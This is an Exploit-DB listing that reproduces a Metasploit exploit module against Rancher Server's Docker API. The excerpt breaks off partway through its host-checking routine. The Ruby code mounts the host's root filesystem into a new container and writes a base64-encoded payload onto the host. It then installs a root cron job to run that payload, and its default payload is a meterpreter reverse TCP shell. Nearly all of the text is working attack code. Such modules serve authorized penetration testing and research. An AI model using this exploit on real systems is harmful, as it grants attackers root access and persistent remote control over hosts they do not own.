Exploit-DB #42964
Description: Rancher Server - Docker Daemon Code Execution (Metasploit)
Type: remote
Platform: linux_x86-64
Date: 2017-10-09
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'             => 'Rancher Server - Docker Exploit',
      'Description'      => %q(
        Utilizing Rancher Server, an attacker can create a docker container
        with the '/' path mounted with read/write permissions on the host
        server that is running the docker container. As the docker container
        executes command as uid 0 it is honored by the host operating system
        allowing the attacker to edit/create files owed by root. This exploit
        abuses this to creates a cron job in the '/etc/cron.d/' path of the
        host server.

        The Docker image should exist on the target system or be a valid image
        from hub.docker.com.

        Use `check` with verbose mode to get a list of exploitable Rancher
        Hosts managed by the target system.
      ),
      'Author'           => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
      'License'          => MSF_LICENSE,
      'References'       => [
        'URL'            => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'
      ],
      'Platform'         => 'linux',
      'Arch'             => [ARCH_X64],
      'Payload'          => { 'Space' => 65000 },
      'Targets'          => [[ 'Linux', {} ]],
      'DefaultOptions'   => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
      'DefaultTarget'    => 0,
      'DisclosureDate'   => 'Jul 27, 2017'))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]),
        OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
        OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
        OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
        OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
        OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)'])
      ]
    )
    register_advanced_options(
      [
        OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]),
        OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
      ]
    )
  end

  def del_container(rancher_container_id, container_id)
    res = send_request_cgi(
      'method'  => 'DELETE',
      'uri'     => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id),
      'ctype'   => 'application/json',
      'headers' => { 'Accept' => 'application/json' }
    )

    return vprint_good('The docker container has been removed.') if res && res.code == 200

    print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.")
  end

  def make_container_id
    return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?

    rand_text_alpha_lower(8)
  end

  def make_cmd(mnt_path, cron_path, payload_path)
    vprint_status('Creating the docker container command')
    echo_cron_path = mnt_path + cron_path
    echo_payload_path = mnt_path + payload_path

    command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
    command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
    command << "echo \"\" >> #{echo_cron_path} \&\& "
    command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"

    command
  end

  def make_container(mnt_path, cron_path, payload_path, container_id)
    vprint_status('Setting container json request variables')
    {
      'instanceTriggeredStop'           => 'stop',
      'startOnCreate'                   => true,
      'networkMode'                     => 'managed',
      'requestedHostId'                 => datastore['TARGETHOST'],
      'type'                            => 'container',
      'dataVolumes'                     => [ '/:' + mnt_path ],
      'imageUuid'                       => 'docker:' + datastore['DOCKERIMAGE'],
      'name'                            => container_id,
      'command'                         => make_cmd(mnt_path, cron_path, payload_path),
      'entryPoint'                      => %w[sh -c]
    }
  end

  def check
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path),
      'ctype'   => 'application/json',
      'headers' => { 'Accept' => 'application/json' }
    )

    if res.nil?
      print_error('Failed to connect to the target')
      return Exploit::CheckCode::Unknown
    end

    if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version')
      print_error('Authorization is required. Provide valid Rancher API Keys.')
      return Exploit::CheckCode::Detected
    end

    if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version')
      target_found = false
      target_selected = false

      environments = JSON.parse(res.body)['data']
      environments.each do |e|
        res = send_request_cgi(
          'method'  => 'GET',
          'uri'     => normalize_uri(target_uri.path, e['id'], 'hosts'),
          'ctype'   => 'application/json',
          'headers' => { 'Accept' => 'application/json' }
        )

        hosts = JSON.parse(res.body)['data']
        hosts.each do |h|
          target_found = true
          result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on "